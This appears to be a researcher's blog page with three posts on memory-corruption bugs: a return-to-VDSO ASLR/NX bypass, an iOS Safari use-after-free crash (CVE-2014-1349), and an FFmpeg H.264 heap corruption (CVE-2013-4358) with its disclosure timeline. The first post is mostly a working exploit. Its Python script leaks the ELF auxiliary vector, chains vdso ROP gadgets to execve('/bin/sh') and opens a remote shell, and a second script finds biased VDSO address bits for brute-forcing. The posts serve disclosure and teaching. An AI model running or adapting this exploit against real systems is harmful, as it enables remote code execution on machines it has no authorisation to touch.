Showing posts with label Bug. Show all posts
Showing posts with label Bug. Show all posts

Saturday, December 6, 2014

Return to VDSO using ELF Auxiliary Vectors

This post is about exploiting a minimal binary without SigReturn Oriented Programming (SROP). Below is demo code, thanks to my friend Zubin for bringing up this problem.
section .text

global _start
jmp _start
vuln:
sub rsp, 8
mov rax, 0 ; sys_read
mov rdi, 0
mov rsi, rsp
mov rdx, 1024
syscall
add rsp, 8
ret
  
_start:
call vuln
mov rax, 60 ; sys_exit
xor rdi, rdi
syscall
Lets see how I exploited this remotely bypassing ASLR and NX without SROP. This is what the crash looks like supplying "A"*16
(gdb) x/i $rip
=> 0x40009e: retq   
(gdb) info registers 
rax            0x11 17
rbx            0x0 0
rcx            0x40009a 4194458
rdx            0x400 1024
rsi            0x7fffffffe1a0 140737488347552
rdi            0x0 0
rbp            0x0 0x0
rsp            0x7fffffffe1a8 0x7fffffffe1a8
r8             0x0 0
r9             0x0 0
r10            0x0 0
r11            0x206 518
r12            0x0 0
r13            0x0 0
r14            0x0 0
r15            0x0 0
rip            0x40009e 0x40009e
eflags         0x10202 [ IF RF ]
cs             0x33 51
ss             0x2b 43
ds             0x0 0
es             0x0 0
fs             0x0 0
gs             0x0 0
(gdb) x/100gx $rsp
0x7fffffffe1a8: 0x4141414141414141 0x000000000000000a
0x7fffffffe1b8: 0x00007fffffffe484 0x0000000000000000
0x7fffffffe1c8: 0x00007fffffffe498 0x00007fffffffe4a3
0x7fffffffe1d8: 0x00007fffffffe4b4 0x00007fffffffe4d3
0x7fffffffe1e8: 0x00007fffffffe508 0x00007fffffffe51f
0x7fffffffe1f8: 0x00007fffffffe533 0x00007fffffffe543
0x7fffffffe208: 0x00007fffffffe554 0x00007fffffffe562
0x7fffffffe218: 0x00007fffffffe57a 0x00007fffffffe58c
0x7fffffffe228: 0x00007fffffffe5c0 0x00007fffffffe5e1
0x7fffffffe238: 0x00007fffffffe5ee 0x00007fffffffec8a
0x7fffffffe248: 0x00007fffffffecba 0x00007fffffffeccb
0x7fffffffe258: 0x00007fffffffed19 0x00007fffffffed25
0x7fffffffe268: 0x00007fffffffed3b 0x00007fffffffed58
0x7fffffffe278: 0x00007fffffffedbf 0x00007fffffffedce
0x7fffffffe288: 0x00007fffffffede0 0x00007fffffffedf2
0x7fffffffe298: 0x00007fffffffee06 0x00007fffffffee17
0x7fffffffe2a8: 0x00007fffffffee2e 0x00007fffffffee43
0x7fffffffe2b8: 0x00007fffffffee4c 0x00007fffffffee5d
0x7fffffffe2c8: 0x00007fffffffee74 0x00007fffffffee7c
0x7fffffffe2d8: 0x00007fffffffee8f 0x00007fffffffee9e
0x7fffffffe2e8: 0x00007fffffffeeca 0x00007fffffffeeda
0x7fffffffe2f8: 0x00007fffffffef3c 0x00007fffffffef5f
0x7fffffffe308: 0x00007fffffffef6c 0x00007fffffffef77
0x7fffffffe318: 0x00007fffffffef96 0x00007fffffffefcb
0x7fffffffe328: 0x0000000000000000 0x0000000000000021
0x7fffffffe338: 0x00007ffff7ffd000 0x0000000000000010
0x7fffffffe348: 0x000000000fabfbff 0x0000000000000006
0x7fffffffe358: 0x0000000000001000 0x0000000000000011
0x7fffffffe368: 0x0000000000000064 0x0000000000000003
0x7fffffffe378: 0x0000000000400040 0x0000000000000004
0x7fffffffe388: 0x0000000000000038 0x0000000000000005
0x7fffffffe398: 0x0000000000000001 0x0000000000000007
0x7fffffffe3a8: 0x0000000000000000 0x0000000000000008
0x7fffffffe3b8: 0x0000000000000000 0x0000000000000009
0x7fffffffe3c8: 0x0000000000400080 0x000000000000000b
0x7fffffffe3d8: 0x00000000000003e8 0x000000000000000c
0x7fffffffe3e8: 0x00000000000003e8 0x000000000000000d
0x7fffffffe3f8: 0x00000000000003e8 0x000000000000000e
0x7fffffffe408: 0x00000000000003e8 0x0000000000000017
0x7fffffffe418: 0x0000000000000000 0x0000000000000019
0x7fffffffe428: 0x00007fffffffe469 0x000000000000001f
0x7fffffffe438: 0x00007fffffffefe4 0x000000000000000f
0x7fffffffe448: 0x00007fffffffe479 0x0000000000000000
0x7fffffffe458: 0x0000000000000000 0x0000000000000000
0x7fffffffe468: 0xf196161a3b373e00 0x8a1a3b02380b0831
0x7fffffffe478: 0x0034365f3638780b 0x6d6f682f00000000
ELF Auxiliary Vectors
As observed, the saved RIP is overwritten with 0x4141414141414141. After the saved RIP resides the argc. In this case argc with value 0x1 is being overwritten by new line. After argc is the argv array terminated by NULL. argv[0] points to program name. Then follows the env array of pointers. What comes after env is the interesting part, we have ELF Auxiliary Vectors. Auxiliary Vector has lot of information including a few pointers. This is what it looks like:
[root@localhost rrobert]# LD_SHOW_AUXV=1 id
AT_SYSINFO_EHDR: 0x7fff511fe000
AT_HWCAP:        fabfbff
AT_PAGESZ:       4096
AT_CLKTCK:       100
AT_PHDR:         0x400040
AT_PHENT:        56
AT_PHNUM:        9
AT_BASE:         0x7f4f98e72000
AT_FLAGS:        0x0
AT_ENTRY:        0x402538
AT_UID:          0
AT_EUID:         0
AT_GID:          0
AT_EGID:         0
AT_SECURE:       0
AT_RANDOM:       0x7fff51193199
AT_EXECFN:       /bin/id
AT_PLATFORM:     x86_64
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
AT_SYSINFO_EHDR is the address of VDSO (Virtual Dynamic Shared Object). VDSO has limited set of gadgets, which could be useful to perform ROP. If AT_SYSINFO_EHDR value could be leaked one could return into vdso.

Triggering Information Leak
[*] First send enough bytes to overwrite the RIP to call sys_read
[*] Send one byte of data ie only a new line. This will set RAX = 0x1 , which is syscall number for write
[*] RDI will still point to stdin, RSI is a pointer in stack and RDX = 1024
[*] Trigger a syscall. Since stdin descriptor is not read-only and points to same character device as stdout, we can actually write into it
[*] This will leak 1024 bytes of stack data including the ELF Auxiliary Vector

ELF Auxiliary Vector is nothing but key value pairs. AT_RANDOM is pointer into the stack area, which is immediately after the vector table. This could be reliably used to compute the address of read buffer since the offset is known. So from the leaked ELF Auxiliary Vector, base address of vdso and address of read buffer could be found. Now lets chain a ROP payload from vdso

return-to-vdso
vdso could be dumped and searched upon for gadgets.
gdb-peda$ vmmap
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp [vdso]

gdb-peda$ dumpmem vdso.so 0x00007ffff7ffd000 0x00007ffff7fff000
Dumped 8192 bytes to 'vdso.so'

file vdso.so
vdso.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=0x69c5bc417a94f7f87f08ab2002f9252836ab7aac, stripped
The idea of payload was to make the call execve('/bin/sh',0,0) . Since read buffer address is known, we could place /bin/sh in stack itself. Then we need gadgets to load RAX with syscall number for execve, RDI with pointer to /bin/sh, RSI and RDX set to NULL. Below are the gadgets found in vdso of Fedora 20

Set EDX = 0
xor edx,edx; 
mov QWORD PTR [rsi+0x8],rax; 
add rdi,rdx; 
test r12d,r12d; 
mov QWORD PTR [rsi],rdi; 
jne addr; 
nop DWORD PTR [rax+0x0]; 
movsxd rdi,r15d; 
mov eax,0xe4; 
syscall; 
add rsp,0x28; 
pop rbx; 
pop r12; 
pop r13; 
pop r14; 
pop r15; 
pop rbp; 
ret  
Populate RSI
pop rsi; 
pop r15; 
pop rbp; 
ret
Populate RDI
pop rdi; 
pop rbp; 
ret
Control EAX
add eax, dword [rbx] ; 
retn 0x0005
Below is exploit to get remote shell bypassing ASLR and NX:
#!/usr/bin/env python

import telnetlib
import socket
import struct
import time

ip = '127.0.0.1'
port = 3335

# id's of Auxillary Vectors
AT_SYSINFO_EHDR = 0x21
AT_HWCAP  = 0x10 
AT_PAGESZ  = 0x06
AT_CLKTCK = 0x11
AT_PHDR  = 0x03
AT_PHENT = 0x04
AT_PHNUM = 0x05
AT_BASE  = 0x07
AT_FLAGS = 0x08
AT_ENTRY = 0x09
AT_UID  = 0x0b
AT_EUID  = 0x0c
AT_GID  = 0x0d
AT_EGID  = 0x0e
AT_SECURE = 0x17
AT_RANDOM = 0x19
AT_EXECFN = 0x1f
AT_PLATFORM     = 0x0f

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# stage ONE
payload  = struct.pack("<Q", 0x0068732f6e69622f) # /bin/sh - we will use this during stage TWO
payload += struct.pack("<Q", 0x400082)   # ret to sys_read
payload += struct.pack("<Q", 0x400098)   # syscall to sys_write depending on RAX
payload += struct.pack("<Q", 0x4141414141414141) # PAD
payload += struct.pack("<Q", 0x400082)   # ret to sys_read
payload += chr(0xa)
soc.send(payload)
time.sleep(2.0)

# write single byte to setup RAX for sys_write
soc.send(chr(0xa))
time.sleep(2.0)

# read the information leaked which contains Auxillary Vector
ENV_AUX_VEC = soc.recv(1024)

QWORD_LIST = []
for i in range(0, len(ENV_AUX_VEC), 8):
    QWORD_LIST.append(struct.unpack("<Q", ENV_AUX_VEC[i:i+8])[0])

start_aux_vec = QWORD_LIST.index(AT_SYSINFO_EHDR) # first entry in vector table
AUX_VEC_ENTRIES = QWORD_LIST[start_aux_vec: start_aux_vec + (18 * 2)] # size of auxillary table
AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2))

vdso_address = AUX_VEC_ENTRIES[AT_SYSINFO_EHDR]
print "[*] Base address of VDSO : %s" % hex(vdso_address)

offset = 0x2b9
random_address = AUX_VEC_ENTRIES[AT_RANDOM]
buffer_address = random_address - 0x2b9
print "[*] Buffer address in stack : %s" % hex(buffer_address)  

# stage TWO

offset_xor_edx = 0x7b0 # xor edx,edx; mov QWORD PTR [rsi+0x8],rax; add rdi,rdx; test r12d,r12d; mov QWORD PTR [rsi],rdi; jne addr; nop DWORD PTR [rax+0x0]; movsxd rdi,r15d; mov eax,0xe4; syscall; add rsp,0x28; pop rbx; pop  r12; pop r13; pop r14; pop  r15; pop rbp; ret
offset_pop_rsi = 0x7dc # pop rsi; pop r15; pop rbp; ret
offset_pop_rdi = 0x7de # pop rdi; pop rbp; ret
offset_add_eax = 0x600 # add eax, dword [rbx] ; retn 0x0005
offset_eax_val = 0x672 # 0x3b for sys_execve
syscall = 0x400098

payload  = struct.pack("<Q", 0x4141414141414141) # PAD
payload += struct.pack("<Q", vdso_address + offset_xor_edx)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", vdso_address + offset_eax_val)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", vdso_address + offset_add_eax) # this will unalign the stack by 5 bytes
payload += struct.pack("<Q", vdso_address + offset_pop_rdi)
payload += chr(0x00)    # PAD
payload += struct.pack("<I", 0x00000000) # PAD
payload += struct.pack("<Q", buffer_address)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", vdso_address + offset_pop_rsi)
payload += struct.pack("<Q", 0x0000000000000000)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", syscall)  # execve("/bin/sh", 0, 0)
payload += chr(0xa)
soc.send(payload)

s = telnetlib.Telnet()
s.sock = soc
s.interact()
[renorobert@localhost aux_vec]$ nc -vvv -e ./chall -l -p 3335
Listening on any address 3335 (directv-soft)
Connection from 127.0.0.1:39658
Passing control to the specified program

[renorobert@localhost aux_vec]$ python sploit_aux_vec.py 
[*] Base address of VDSO : 0x7fff25ded000
[*] Buffer address in stack : 0x7fff25cba1c0
id
uid=1000(renorobert) gid=1000(renorobert) groups=1000(renorobert),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[renorobert@localhost aux_vec]$ uname -r
3.11.10-301.fc20.x86_64
VDSO would change across versions, so availability of gadgets may also differ.

VDSO Address Bruteforce

Also, VDSO address is not very random. One can brute force its base address even in 64 bit.
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fffac97e000)
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fffe2d38000)
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fffe0de7000)
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fff43926000)
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fff009fe000)

[renorobert@localhost aux_vec]$ while true; do ldd /bin/ls; done | grep 0x00007fff009fe000
 linux-vdso.so.1 =>  (0x00007fff009fe000)
 linux-vdso.so.1 =>  (0x00007fff009fe000)
 linux-vdso.so.1 =>  (0x00007fff009fe000)
 linux-vdso.so.1 =>  (0x00007fff009fe000)
 linux-vdso.so.1 =>  (0x00007fff009fe000)

[renorobert@localhost aux_vec]$ uname -r
3.11.10-301.fc20.x86_64
Update - CVE-2014-9585

The VDSO entropy issue is assigned CVE-2014-9585. New patch improves ASLR from 11 quality bits to 18 quality bits as per paxtest. Further information below

Bug 89591 - VDSO randomization not very random
oss-sec discussion

Below is the code to show biased bits
#!/usr/bin/env python

import subprocess
import re

bentropy = {}
size = 64
for _ in range(size): 
    bentropy[_] = {0:0, 1:0}
NSAMPLE = 500
print "[*] Sampling %d addresses" %(NSAMPLE)

def get_vdso_address(NSAMPLE):
    for _ in range(NSAMPLE):
        l = subprocess.check_output(["ldd", "/bin/ls"])
        vdso_entry = l.split(chr(0xa))[0]
        vdso_address = re.search("0x([A-Fa-f\d]{16})", vdso_entry)
        vdso_address = vdso_address.groups()[0]
        vdso_address = int(vdso_address, 16)
        yield vdso_address

for address in get_vdso_address(NSAMPLE):
    for index in range(size):
        bit = (address >> index) & 1
        key = size - index - 1
        bentropy[key][bit] += 1

probable_address = 0x0

for key, value in bentropy.items():
    if value[0] > value[1]:
        probable_address = (probable_address << 1)
    else:
        probable_address = (probable_address << 1) | 1
    print "%02d ['0':%05d, '1':%05d]" %(key, value[0], value[1])

print "[*] Probable address to use : %s" % hex(probable_address)
renorobert@ubuntu:~/vdso$ python vdso.py 
[*] Sampling 500 addresses
00 ['0':00500, '1':00000]
01 ['0':00500, '1':00000]
02 ['0':00500, '1':00000]
03 ['0':00500, '1':00000]
04 ['0':00500, '1':00000]
05 ['0':00500, '1':00000]
06 ['0':00500, '1':00000]
07 ['0':00500, '1':00000]
08 ['0':00500, '1':00000]
09 ['0':00500, '1':00000]
10 ['0':00500, '1':00000]
11 ['0':00500, '1':00000]
12 ['0':00500, '1':00000]
13 ['0':00500, '1':00000]
14 ['0':00500, '1':00000]
15 ['0':00500, '1':00000]
16 ['0':00500, '1':00000]
17 ['0':00000, '1':00500]
18 ['0':00000, '1':00500]
19 ['0':00000, '1':00500]
20 ['0':00000, '1':00500]
21 ['0':00000, '1':00500]
22 ['0':00000, '1':00500]
23 ['0':00000, '1':00500]
24 ['0':00002, '1':00498]
25 ['0':00000, '1':00500]
26 ['0':00004, '1':00496]
27 ['0':00003, '1':00497]
28 ['0':00003, '1':00497]
29 ['0':00003, '1':00497]
30 ['0':00005, '1':00495]
31 ['0':00005, '1':00495]
32 ['0':00266, '1':00234]
33 ['0':00241, '1':00259]
34 ['0':00250, '1':00250]
35 ['0':00274, '1':00226]
36 ['0':00228, '1':00272]
37 ['0':00264, '1':00236]
38 ['0':00249, '1':00251]
39 ['0':00266, '1':00234]
40 ['0':00238, '1':00262]
41 ['0':00259, '1':00241]
42 ['0':00260, '1':00240]
43 ['0':00060, '1':00440]
44 ['0':00091, '1':00409]
45 ['0':00100, '1':00400]
46 ['0':00121, '1':00379]
47 ['0':00123, '1':00377]
48 ['0':00118, '1':00382]
49 ['0':00128, '1':00372]
50 ['0':00126, '1':00374]
51 ['0':00371, '1':00129]
52 ['0':00500, '1':00000]
53 ['0':00500, '1':00000]
54 ['0':00500, '1':00000]
55 ['0':00500, '1':00000]
56 ['0':00500, '1':00000]
57 ['0':00500, '1':00000]
58 ['0':00500, '1':00000]
59 ['0':00500, '1':00000]
60 ['0':00500, '1':00000]
61 ['0':00500, '1':00000]
62 ['0':00500, '1':00000]
63 ['0':00500, '1':00000]
[*] Probable address to use : 0x7fff6a9fe000
Only bits 32 to 42 [11 bits] are properly randomized and rest are biased leading to bruteforce

Friday, August 1, 2014

Apple iOS Safari Use-After-Free Vulnerability - CVE-2014-1349

This is a vulnerability that I found along with my friend Dhanesh while fuzzing iOS Safari in iPad Mini. The POC could trigger a UAF if invalid URLs were used in SRC attribute. Below is the crash
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xe000000c
0x39f7cb26 in objc_msgSend ()
(gdb) info registers
r0             0x166afbe0       376110048
r1             0x32549ee6       844406502
r2             0x30108831       806389809
r3             0x3      3
r4             0x1658cdf0       374918640
r5             0x17826070       394420336
r6             0x0      0
r7             0x27d5ac2c       668314668
r8             0x166afbe0       376110048
r9             0xe0000000       -536870912
r10            0x17826070       394420336
r11            0x32549ee6       844406502
r12            0x3aaab220       984265248
sp             0x27d5ab98       668314520
lr             0x321756e3       840390371
pc             0x39f7cb26       972540710

(gdb) x/4x $r0
0x166afbe0: 0xe0000000 0xe0000000 0x00000002 0x00000032
(gdb) x/s $r1
0x32549ee6:  "lastObject"
(gdb) bt
#0  0x39f7cb26 in objc_msgSend ()
#1  0x321756e2 in <redacted> ()
(gdb) x/i $pc
0x39f7cb26:  b9 f8 0c c0                   ldrh.w       r12, [r9, #12]
The crash occured in objc_msgSend(). The first argument $r0 points to the receiver object and the selector being "lastObject" pointed by $r1. The receiver object pointed by $r0 is freed memory where 0xe0000000 at $r0 and $r0+4 are heap meta-data pointing to next and prevoius free chunks. In this case its NULL. The 3rd DWORD is the quanta size.
0x39f7cb20 <objc_msgSend+0>:  e8 b1        cbz r0, 0x39f7cb5e  -> check for NULL
0x39f7cb22 <objc_msgSend+2>:  d0 f8 00 90  ldr.w r9, [r0]      -> r9 is loaded from r0 which is freed memory ; class = self->isa
0x39f7cb26 <objc_msgSend+6>:  b9 f8 0c c0  ldrh.w r12, [r9, #12] -> r9 + 12 points to cache mask
0x39f7cb2a <objc_msgSend+10>: d9 f8 08 90  ldr.w r9, [r9, #8]  -> r9 + 8 points to cache; cache = class->cache
0x39f7cb2e <objc_msgSend+14>: 0c ea 01 0c  and.w r12, r12, r1  -> index
0x39f7cb32 <objc_msgSend+18>: 09 eb cc 09  add.w r9, r9, r12, lsl #3 -> r9 = cache + index << 3 ; compute cache entry
0x39f7cb36 <objc_msgSend+22>: d9 f8 00 c0  ldr.w r12, [r9]     -> fetch selector
0x39f7cb3a <objc_msgSend+26>: 9c ea 01 0f  teq r12, r1         -> check the selector
0x39f7cb3e <objc_msgSend+30>: 02 d1        bne.n 0x39f7cb46    -> if no cache hit
0x39f7cb40 <objc_msgSend+32>: d9 f8 04 c0  ldr.w r12, [r9, #4] -> fetch address of method
0x39f7cb44 <objc_msgSend+36>: 60 47        bx r12              -> jump to address
With control over freed memory pointed by $r0 and subsequent control over other pointers, one could use bx r12 to control program execution. This issue was assigned CVE-2014-1349 and fixed in iOS 7.1.2.

Tuesday, September 17, 2013

A FFmpeg 0.11.3 Memory Corruption Bug

I was fuzzing a bit during my free time last month. Mplayer produced an interesting crash due to invalid memory access when tested with a fuzzed m2ts file. This is what the crash looked like
=> 0x528da4 <put_image+68>: call   QWORD PTR [rax+0x18]
RAX: 0x4444444444444444 ('DDDDDDDD')
So a crash was noticed at a call instruction and RAX can be user controlled by modifying the file. Here is the backtrace
if(video_out->control(VOCTRL_DRAW_IMAGE,mpi)==VO_TRUE) return 1; 
gdb-peda$ bt
#0  0x0000000000528da4 in put_image (vf=0x17e82b0, mpi=0x1dc4af0, pts=604.16666666666663) at libmpcodecs/vf_vo.c:168
#1  0x00000000004f97eb in filter_video (sh_video=<optimized out>, frame=0x1dc4af0, pts=<optimized out>) at libmpcodecs/dec_video.c:479
#2  0x000000000048ba80 in update_video (blit_frame=0x7fffffffe0e8) at mplayer.c:2487
#3  0x000000000048ff78 in main (argc=<optimized out>, argv=) at mplayer.c:3765
#4  0x00000038b7a1ec5d in __libc_start_main () from /lib64/libc.so.6
#5  0x0000000000482185 in _start ()
A function pointer at an offset 0x18 in structure vo_functions_s is being accessed in put_image function. Since video_out pointer to the structure itself is overwritten with contents from file, we can dereference arbitrary memory location by controlling RAX and call any address. The bug was reported to Mplayer along with PoC and later analysis showed its an issue with FFmpeg. This is what valgrind trace looked like
==4641== Invalid write of size 8
==4641==    at 0xA08407: put_h264_qpel16_mc00_sse2 (dsputil_mmx.c:464)
==4641==    by 0x7C65C6: hl_decode_mb_444_simple (h264.c:532)
==4641==    by 0x81551F: ff_h264_hl_decode_mb (h264.c:2445)
==4641==    by 0xA69AFA: ff_er_frame_end (error_resilience.c:710)
==4641==    by 0x7ACDD7: field_end (h264.c:2787)
==4641==    by 0x835CA9: decode_frame (h264.c:4596)
==4641==    by 0x986B7D: avcodec_decode_video2 (utils.c:1464)
==4641==    by 0x5BC9F8: decode (vd_ffmpeg.c:799)
==4641==    by 0x4F9894: decode_video (dec_video.c:393)
==4641==    by 0x48B803: update_video (mplayer.c:2463)
==4641==    by 0x48FF77: main (mplayer.c:3765)
==4641==  Address 0xc8c7430 is 0 bytes after a block of size 523,344 allocd
==4641==    at 0x4A072B5: memalign (vg_replace_malloc.c:727)
==4641==    by 0x4A0737A: posix_memalign (vg_replace_malloc.c:876)
==4641==    by 0xAF200C: av_malloc (mem.c:95)
==4641==    by 0xAF20A5: av_mallocz (mem.c:187)
==4641==    by 0x8DE53B: ff_alloc_picture (mpegvideo.c:341)
==4641==    by 0x8DEE84: ff_MPV_frame_start (mpegvideo.c:1193)
==4641==    by 0x7AD21F: ff_h264_frame_start (h264.c:1430)
==4641==    by 0x7AE4C0: decode_slice_header (h264.c:3320)
==4641==    by 0x834F82: decode_nal_units (h264.c:4330)
==4641==    by 0x835C6D: decode_frame (h264.c:4574)
==4641==    by 0x986B7D: avcodec_decode_video2 (utils.c:1464)
==4641==    by 0x5BC9F8: decode (vd_ffmpeg.c:799)
There was out of bound read/write in H.264 code of FFmpeg leading to heap corruption.

Timeline of Bug:
August 18    - Bug report along with PoC to Mplayer
August 24    - FFmpeg notified about the issue
August 25    - Bug confirmed in FFmpeg H.264 code leading to memory corruption, patches were applied
September 14 - Request for CVE
September 17 - CVE-2013-4358 assigned 
Exploit:
I wrote a PoC exploit from the point of crash, with the mutated file. Understanding of H.264 will give better and reliable attack vectors for the bug. Here is the idea to exploit the bug with ASLR and NX disabled. Yes, its easy without memory protection

[*] Make RAX point to an address [address_to_dereference - 0x18] that we would like to dereference
[*] At [address_to_dereference + 0x18] place the address of shellcode to execute

I'm not going into much details. Here is the final payload
[ctf@renorobert Test]$ mplayer exploit_final.m2ts 
MPlayer 1.1-4.4.4 (C) 2000-2012 MPlayer Team

Playing exploit_final.m2ts.
libavformat version 54.6.100 (internal)
TS file format detected.
VIDEO H264(pid=4113) AUDIO A52(pid=4352) NO SUBS (yet)!  PROGRAM N. 1
FPS seems to be: 24.000000
Load subtitles in ./
==========================================================================
Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
libavcodec version 54.23.100 (internal)
Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)
==========================================================================
==========================================================================
Opening audio decoder: [ffmpeg] FFmpeg/libavcodec audio decoders
AUDIO: 48000 Hz, 2 ch, s16le, 640.0 kbit/41.67% (ratio: 80000->192000)
Selected audio codec: [ffac3] afm: ffmpeg (FFmpeg AC-3)
==========================================================================
[AO OSS] audio_setup: Can't open audio device /dev/dsp: No such file or directory
AO: [alsa] 48000Hz 2ch s16le (2 bytes per sample)
Starting playback...
Unsupported PixelFormat 61
Unsupported PixelFormat 53
Unsupported PixelFormat 81
Movie-Aspect is 1.78:1 - prescaling to correct movie aspect.
VO: [x11] 1920x1080 => 1920x1080 Planar YV12 
[swscaler @ 0xdbab00]using unscaled yuv420p -> bgra special converter
A: 602.4 V: 602.4 A-V:  0.024 ct: -0.063  58/ 58 38% 10%  2.2% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.5 V: 602.5 A-V:  0.012 ct: -0.062  59/ 59 38% 10%  2.2% 0 0 
[ac3 @ 0xcf2320]frame sync error
A: 602.5 V: 602.5 A-V:  0.011 ct: -0.061  60/ 60 38%  9%  2.2% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.6 V: 602.6 A-V: -0.032 ct: -0.064  61/ 61 37%  9%  2.2% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.6 V: 602.5 A-V:  0.056 ct: -0.060  62/ 62 37%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.6 V: 602.6 A-V:  0.009 ct: -0.059  63/ 63 37%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.7 V: 602.7 A-V: -0.002 ct: -0.059  64/ 64 37%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.5 V: 602.7 A-V: -0.182 ct: -0.063  65/ 65 36%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.9 V: 602.8 A-V:  0.067 ct: -0.059  66/ 66 36%  9%  2.0% 0 0 
[ac3 @ 0xcf2320]frame sync error
A: 602.9 V: 602.8 A-V:  0.155 ct: -0.055  67/ 67 36% 10%  2.0% 0 0 
######################################################################################
[h264 @ 0xcf2320]Missing reference picture, default is 65648
[h264 @ 0xcf2320]Missing reference picture, default is 65648
[h264 @ 0xcf2320]error while decoding MB 67 8, bytestream (-5)
[h264 @ 0xcf2320]concealing 7182 DC, 7182 AC, 7182 MV errors
A: 604.7 V: 604.1 A-V:  0.638 ct:  0.066  96/ 96 41% 12%  1.5% 0 0 
[ac3 @ 0xcf2320]frame sync error
[h264 @ 0xcf2320]Missing reference picture, default is 65650
[h264 @ 0xcf2320]error while decoding MB 17 8, bytestream (-6)
[h264 @ 0xcf2320]insane cropping not completely supported, this could look slightly wrong ... (left: 2, top: 6)
[h264 @ 0xcf2320]number of reference frames (0+3) exceeds max (1; probably corrupt input), discarding one
[h264 @ 0xcf2320]concealing 7232 DC, 7232 AC, 7232 MV errors
Dropping frame with size not matching configured size
A: 604.7 V: 604.1 A-V:  0.624 ct:  0.070  97/ 97 41% 11%  1.5% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
[ac3 @ 0xcf2320]frame sync error
[ac3 @ 0xcf2320]frame CRC mismatch
[h264 @ 0xcf2320]Missing reference picture, default is 65652
[h264 @ 0xcf2320]error while decoding MB 42 8, bytestream (-10)
[h264 @ 0xcf2320]concealing 7207 DC, 7207 AC, 7207 MV errors
sh-4.1# 
I got code execution and dropped into shell. Bypassing NX and ASLR will take little more hard work.